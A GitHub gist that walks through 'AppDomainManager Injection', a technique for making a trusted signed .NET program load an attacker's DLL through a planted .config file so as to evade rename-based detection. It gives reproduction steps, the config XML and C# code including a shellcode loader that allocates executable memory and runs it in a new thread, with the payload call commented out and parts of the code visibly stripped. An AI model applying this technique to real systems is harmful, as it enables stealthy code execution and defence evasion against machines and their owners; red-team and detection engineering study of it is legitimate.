Skip to content

Instantly share code, notes, and snippets.

Created March 12, 2020 02:34
Show Gist options
  • Save djhohnstein/afb93a114b848e16facf0b98cd7cb57b to your computer and use it in GitHub Desktop.
Save djhohnstein/afb93a114b848e16facf0b98cd7cb57b to your computer and use it in GitHub Desktop.
AppDomainManager Injection

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

See Poc Below.

Steps to reproduce.

1. Copy some binary you love to say, c:\Test. Lets use aspnet_compiler.exe as an example
2. Compile the test.cs to test.dll and put it in C:\Test
3. Rename app.config to aspnet_compiler.exe.config
4. Execute aspnet_compiler.exe
5. Profit :)

Questions/Comments Welcome.

<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="C:\Test"/>
<appDomainManagerAssembly value="test, Version=, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
System.Windows.Forms.MessageBox.Show("AppDomain - KaBoomBeacon!");
// You have more control here than I am demonstrating. For example, you can set ApplicationBase,
// Or you can Override the Assembly Resolver, etc...
// If you want, execute shellcode or whatever.
//bool res = ClassExample.Execute();
public class ClassExample
//private static UInt32 MEM_COMMIT = 0x1000;
//private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
public static bool Execute()
// Its calc, I think ;-)
IntPtr funcAddr = VirtualAlloc(0, (UInt32)installercode.Length, 0x1000, 0x40);
Marshal.Copy(installercode, 0, (IntPtr)(funcAddr), installercode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment